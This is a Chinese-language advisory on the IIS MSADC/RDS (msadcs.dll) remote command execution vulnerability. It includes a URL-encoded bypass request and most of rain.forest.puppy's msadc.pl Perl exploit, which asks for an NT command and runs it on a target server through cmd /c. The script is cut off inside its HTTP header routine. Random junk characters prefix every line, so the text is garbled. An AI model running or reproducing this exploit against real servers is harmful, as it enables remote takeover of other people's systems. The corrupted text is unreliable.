IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
A>;bHf@ }I6veagK 涉及程序:
)e=D(qd Microsoft NT server
VSI9U3t3w Ma']?Rb` 描述:
$$;M^WV^?. 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
m6\E$;` e>7>j@(K] 详细:
r|fL&dtr 如果你没有时间读详细内容的话,就删除:
f<fXsSv( c:\Program Files\Common Files\System\Msadc\msadcs.dll
%G/hD 有关的安全问题就没有了。
e L^|v F Q7T'G![ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
vzs)[AD tGh~!|P 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
0$)>D== 关于利用ODBC远程漏洞的描述,请参看:
bz2ztH9 n 7cT~oV !G_ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm L:pYn_ Vvn2 Ep 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
HV!m8k=6 http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^w@%cVh +\c5]` 这里不再论述。
,c$_t+ G%AbC" 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
9Zt`u,; 7Oa#c<2] /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
,]ma+(| 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
vv3*
j&I {W=%U|f \FbvHr, #将下面这段保存为txt文件,然后: "perl -x 文件名"
.9 on@S z0p*Z& #!perl
X<` #
6Z6'}BDP # MSADC/RDS 'usage' (aka exploit) script
pMx*F@&nU #
uGf@ # by rain.forest.puppy
3s,g* #
7a=gH2]& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
?cBwPetp # beta test and find errors!
DnMwUykF>0 av}k)ZT_ use Socket; use Getopt::Std;
eueH)Xkf getopts("e:vd:h:XR", \%args);
G7`ko1- \Xt7`I< print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
w(*vj '8RsN-w if (!defined $args{h} && !defined $args{R}) {
Bw)/DM] print qq~
(>UZ<2GPL Usage: msadc.pl -h <host> { -d <delay> -X -v }
2\A$6N;_ -h <host> = host you want to scan (ip or domain)
UUYSFa% -d <seconds> = delay between calls, default 1 second
dh`K`b4I -X = dump Index Server path table, if available
=w_Ype` -v = verbose
xaq-.IQAM$ -e = external dictionary file for step 5
t9k zw*U9 N_kMK Or a -R will resume a command session
7u -p%eq2 Z58X5" ~; exit;}
?>D+ge (Du@ S $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Zw
26 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
IXMop7~ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
b@gc{R}7 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
V%7WUq $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
knu,"< if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
=V,mtT vsCCB}7\ if (!defined $args{R}){ $ret = &has_msadc;
qOIyub die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
1y4|{7bb }WC[$Y_@ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
nMq,F#`3N . "cmd /c ";
UAkT*'cB $in=<STDIN>; chomp $in;
!=*g@mgF $command="cmd /c " . $in ;
T]f ;km ExY] Sdx if (defined $args{R}) {&load; exit;}
9N#_(uwt 0rQMLx print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
G}9Jg &try_btcustmr;
~WeM TXF>y CTB~Yj@d+ print "\nStep 2: Trying to make our own DSN...";
!1jBC.G1 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
$u$!tj )Ys x}vS Z print "\nStep 3: Trying known DSNs...";
vjbASFF0= &known_dsn;
f
O}pj: guq{#?} print "\nStep 4: Trying known .mdbs...";
d\&U*= &known_mdb;
/kZebNf6H Dzpq_F!;V if (defined $args{e}){
z\\[S@>pt print "\nStep 5: Trying dictionary of DSN names...";
SB;&GHq"n &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
.9/hHCp ;V:i!u u print "Sorry Charley...maybe next time?\n";
\#2Z)Kz exit;
j"t(0m WrnrFz ##############################################################################
^H p; .f. @N>\|!1CC sub sendraw { # ripped and modded from whisker
*<$*"p sleep($delay); # it's a DoS on the server! At least on mine...
SXSgld2uS my ($pstr)=@_;
aq>kTaz socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
& TCkpS die("Socket problems\n");
zq3\}9 if(connect(S,pack "SnA4x8",2,80,$target)){
}kw#7m54 select(S); $|=1;
wjU9ZGM print $pstr; my @in=<S>;
GL>O4S<` select(STDOUT); close(S);
afCW(zHp return @in;
/ H[=5 } else { die("Can't connect...\n"); }}
Hck]aKI+ G*?8MTP8![ ##############################################################################
a(m2n.0'> e[{0)y>= sub make_header { # make the HTTP request
|0&IXOW"XF my $msadc=<<EOT
v^sv<4*% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
paA(C|%{ User-Agent: ACTIVEDATA
AwCcK6N1 Host: $ip
on!,c>nNa Content-Length: $clen
HDz5&